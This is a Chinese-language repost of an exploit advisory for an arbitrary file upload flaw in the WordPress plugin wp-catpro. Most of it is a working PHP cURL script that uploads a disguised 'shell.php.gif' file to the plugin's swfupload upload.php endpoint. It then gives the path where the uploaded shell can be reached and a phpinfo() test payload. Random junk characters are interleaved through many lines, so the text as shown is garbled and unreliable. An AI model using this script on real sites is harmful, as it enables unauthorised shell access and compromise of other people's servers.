WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

( j3 W! C5 |" C作者  => Zikou-16
邮箱 => zikou16x@gmail.com
3 S* |: b6 C. w测试系统 : Windows 7 , Backtrack 5r3
, i2 q2 E4 G, S下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
3 x) {5 x" u4 H6 m( P- E####
1 O6 x8 B( Z2 H6 A' K" z
: L3 O2 k, h  D: Q#=> Exploit 信息:
------------------
+ U' F' P0 F- |* ~! q4 r# 攻击者可以上传 file/shell.php.gif
! ]5 n5 V# J4 s. U, L, \0 T% E8 X# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
% {2 R6 W% d5 e( K- Y------------------

3 w) @$ X8 j% C) d1 k* }#=> Exploit
/ e7 R9 G- k. H$ b  P9 M1 w-----------
<?php
5 m! R" L  @: t8 a9 M. f4 L
: l" T+ ]/ {1 U9 O2 o$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
. r3 }0 j5 k# V4 K, W# B& ncurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
: {0 Z0 n) X6 i6 ^0 B4 G'folder'=>'/wp-content/uploads/catpro/'));
8 {  o: L8 O1 _' F4 T" ^0 bcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5 A. Q; @; m" v) O0 r. x$postResult = curl_exec($ch);
curl_close($ch);
9 [% e& f/ `0 a) F  h7 J- b
0 D# x! \; c$ v& Tprint "$postResult";

  q1 l9 M9 H9 ~; R% w6 g( FShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
( h. Q! U4 s8 F: y; a# e" O- i<?php
% \( b/ }' U8 u( {phpinfo();
?>